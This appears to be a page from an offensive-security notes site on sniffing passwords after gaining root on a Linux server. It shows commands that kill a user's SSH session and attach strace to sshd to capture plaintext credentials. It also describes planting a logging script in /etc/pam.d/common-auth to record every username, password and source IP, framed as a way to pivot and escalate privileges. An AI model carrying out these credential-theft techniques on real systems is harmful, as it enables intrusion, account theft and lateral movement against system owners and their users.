Sniffing Passwords
Strace
With root access on a server we can attach to the SSH service and sniff usernames and passwords in plaintext if a user authenticates. This can be powerful when looking for new accounts to pivot with and/or higher privileged accounts.
[root@victimHost ~]# w
15:05:18 up 26 days, 6:25, 2 users, load average: 0.00, 0.05, 0.16
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
unixadm pts/0 someHost 15:04 6.00s 0.03s 0.00s sshd: unixadm [priv]
[root@victimHost ~]# ps aux | grep ssh
root 1366 0.0 0.0 113000 4368 ? Ss Jun02 0:00 /usr/sbin/sshd -D
unixadm 28721 0.0 0.0 176412 2644 ? S 10:04 0:00 sshd: unixadm@pts/0
[root@victimHost ~]# kill 28721
[root@victimHost ~]# strace -f -p 1366 -e trace=write -o data.log
strace: Process 1366 attachedPAM
With root access on a server we can create a simple bash script to log all authorization requests handled by pam.d. The log data will show a timestamp, username, password and source IP all in cleartext. This is of course very useful when trying to pivot and/or escalate privileges.
Encrypted logs
The below helper script will create a new, pam_log.sh, script to be uploaded on a target host.
Upload pam_log.sh to the target and modify /etc/pam.d/common-auth to execute the script on authentication requests.
Wait for a user to login and reap the rewards. Other users are unable to to read the content without having the private key.
Unencrypted logs
If you don't care about the security aspects, or if the target doesn't have openssl or base64 installed, you can instead use this simple unencrypted version to log authentication requests.
Last updated
Was this helpful?